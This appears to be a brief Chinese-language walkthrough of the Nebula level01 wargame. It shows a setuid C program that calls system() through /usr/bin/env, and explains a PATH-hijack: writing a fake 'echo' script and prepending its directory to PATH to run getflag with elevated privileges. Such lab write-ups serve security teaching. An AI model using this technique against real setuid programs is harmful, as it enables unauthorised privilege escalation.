nebula 01

這一關是找出一個程序可以執行任意程序的漏洞

 #include <stdlib.h>
 #include <unistd.h>
 #include <string.h>
 #include <sys/types.h>
 #include <stdio.h>
 
 int main(int argc, char **argv, char **envp)
 {
   gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

問題出在/usr/bin/env這個命令，用這個命令啓動後面的shell命令

在自己的主目錄建立一個叫echo的腳本，想執行什麼就寫什麼，然後權限設置爲可執行，接下來把當前目錄加到PATH環境變量的最前端

export PATH=/home/level01/:$PATH

然後執行這個程序，就可以調到我們的假的echo命令了

echo:

#!/bin/bash

getflag